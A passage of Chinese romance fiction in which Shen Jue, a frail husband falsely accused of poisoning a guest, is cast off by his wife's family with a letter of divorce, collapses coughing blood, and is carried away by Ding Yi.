“证据呢？”谢晚脱口而出，话一出口，自己也愣了一下，但看着裴渠痛苦的样子，想到若真是沈玦所为，其心可诛，语气便又硬了起来，“墨竹不在，食盒无人认领，裴公子用了你院‘送出’的糕点便成了这样！沈玦，你告诉我，这是巧合？”
沈玦看着她，那双沉静的黑眸里，最后一点微弱的光，终于彻底熄灭了。他忽然觉得无比荒谬，也无比疲惫。辩解？在谢晚带着先入为主的猜忌看向他的那一刻，任何辩解都是徒劳。
他扯了扯嘴角，想笑，却没能笑出来，只化作一声极轻的、带着血腥气的叹息。
就在这时，闻讯赶来的谢秉坤冲了进来，一看这场面，尤其是裴渠那副模样，顿时火冒三丈，指着沈玦的鼻子骂道：“好啊！你个狼心狗肺的东西！谢家供你吃穿，养着你这么个病痨鬼，你不感恩也就罢了，竟敢对家里的客人下毒手！你这是要害死裴公子，还是要毁了谢家的名声？！”
他转向谢晚，疾言厉色：“晚儿！你还要护着这个祸害到几时？今日他能对裴公子下手，明日是不是就要对你我下手？此等心肠歹毒、毫无容人之量的妒夫，留在家中，迟早是个祸患！”
谢晚被父亲吼得心烦意乱，看着沈玦那死水般的眼神，又看看裴渠惨白的脸，大夫正在诊脉，眉头紧锁。她心乱如麻，各种念头纷至沓来：沈玦的沉默与抗拒，裴渠的救命之恩与温文无害，父亲的逼迫，生意的压力，还有前世沈玦那染血的遗书……这一切交织成一张大网，将她牢牢捆住，几乎窒息。
“我没有。”沈玦又重复了一遍，声音很轻，却带着一种破碎的清晰。他看着谢晚，仿佛想从她眼中找到最后一点信任的微光。
谢晚避开了他的视线。
谢秉坤见状，立刻趁热打铁，高声道：“这样的夫君，留有何用？晚儿，听爹一句劝，一纸休书，打发了他！干干净净！也好给裴公子一个交代，给丁府那边……一个态度！”
休书。
两个字，如同惊雷，炸响在寂静的花园凉亭内。
所有人都愣住了，包括痛苦呻吟的裴渠，也微微睁开了眼。
沈玦身体几不可察地晃了一下，脸色瞬间惨白如纸，连最后一丝血色也褪得干干净净。他缓缓地、缓缓地转过头，看向谢秉坤，又看向侧着脸、紧抿着唇的谢晚。
男人……被休？
他沈玦，读了这么多年圣贤书，谨守礼义廉耻，纵使落魄，纵使病弱，纵使不被岳家所喜，被妻子轻视，甚至被当作货物权衡……他也从未想过，有朝一日，会面临“被休”的耻辱。
这已不是简单的舍弃或背叛。这是将他作为男子的尊严，踩在脚底，碾入泥泞，再公之于众的极致羞辱。
何其可笑。
何其可悲。
他忽然低低地笑了起来，笑声喑哑，如同破损的风箱，带着无尽的苍凉与自嘲。笑着笑着，眼角却干涩得没有一滴泪。
他最后看了一眼谢晚，那眼神空茫，仿佛穿透了她，看向了某个遥不可及、又或者早已死去的过去。
然后，他不再看任何人，挺直了那单薄得仿佛随时会折断的脊背，一步一步，缓缓地、却异常平稳地，走出了这座让他窒息了多年的华丽囚笼。
阳光明媚，花香袭人，他却只觉得周身冰寒，如同置身数九寒冬。
这世上，果然再无他的容身之处。
而凉亭角落，一个身着浅碧衣衫、丫鬟打扮的秀丽女子，悄然收回望向沈玦离去方向的视线，垂下眼，掩去了眸中一闪而过的复杂神色。
正是丁仪派来的青禾。
沈玦不知道自己是怎么走出谢府那扇朱红大门的。
阳光刺眼，街市喧嚷，孩童的嬉笑，货郎的叫卖，车马的辚辚声……一切声音和光影都扭曲成模糊的背景，嗡嗡作响，却又仿佛隔着一层厚重的琉璃，传不进他耳中，也落不到他眼里。他只觉得胸口堵着一团浸透了冰水的棉絮，沉甸甸，湿漉漉，每一次呼吸都牵扯出尖锐的刺痛，和一股翻涌不休的、带着铁锈味的腥甜。
被休。
两个字反复碾过脑海，碾碎了他最后一点摇摇欲坠的支撑。男人被休，千古未闻之奇耻。他沈玦，生来便是错么？家世是错，病弱是错，读书是错，不肯趋炎附势是错，甚至连活着，都成了谢家父女眼中碍眼的错！
气血在冰冷的四肢百骸里逆冲乱窜，眼前阵阵发黑。他扶着街边粗糙的墙壁，指甲抠进砖缝，试图稳住身形，可那黑暗来得又急又猛，带着吞噬一切的力量。
“唔——”
一口猩甜猛地冲上喉头，他猝不及防，温热的液体已顺着嘴角溢出，滴落在前襟月白的布料上，迅速洇开一小团刺目的红。与此同时，天旋地转，耳边所有的声音骤然拉远、消失……
“沈公子！”
隐约似乎听到一声熟悉的、带着惊惶的女子低呼，但他已无力分辨。意识沉入无边黑暗的前一瞬，只感觉身体一轻，仿佛落入了一个带着清雅香气的、柔软的怀抱。
……
“这才几天没见，你就把自己搞成了这个样子？”
带着怒意、却又难掩焦灼的嗓音，像是从很远的地方传来，穿透了层层迷雾。沈玦蹙紧眉头，想要避开这扰人的声音，却连抬起眼皮的力气都没有。
丁仪几乎是接到青禾传讯的瞬间便赶了过来。她没想到，自己只是派个人去“看看”，看到的竟是沈玦吐血晕倒在街边的凄惨景象。此刻，她半跪在车厢柔软的地毯上，将昏迷不醒的沈玦紧紧抱在怀里，手指触及他冰凉汗湿的额头和嘴角未干的血迹，心头那股无名火与某种陌生的刺痛交织翻腾。
她吩咐车夫以最快速度赶回别庄，又命青禾立刻去请王大夫。低下头，看着怀中人苍白如纸的脸，紧闭的眼睫在眼下投出浓重阴影，唇上那抹血迹红得惊心。几日不见，他好像又瘦了许多。
丁仪下意识地将他往怀里拢了拢，手臂用了些力，想让他更安稳些。这一用力，却让她整个人猛地一僵。
轻。
太轻了。
怀里的躯体，隔着衣物，几乎感觉不到什么分量，骨骼的轮廓清晰得硌人，仿佛只剩下薄薄一层皮囊包裹着支离的病骨。完全不像一个成年男子的体量。
一种从未有过的、尖锐的疼惜，猝不及防地攫住了丁仪的心脏，让她呼吸都为之一滞。她见过他冷淡，见过他隐忍，见过他洞悉一切后的疏离嘲弄，却从未想过，这具支撑着那身清傲风骨的躯体，竟已孱弱、单薄至此。
谢晚……谢家……他们到底是如何待他的？竟将他磋磨至此等地步！
怒火与那陌生的疼意烧灼着她的理智。她抿紧唇，用指尖小心翼翼擦去他唇边血迹，动作是从未有过的轻柔。
“快些！”她忍不住对车外催促，声音带着一丝自己都未察觉的颤抖。
……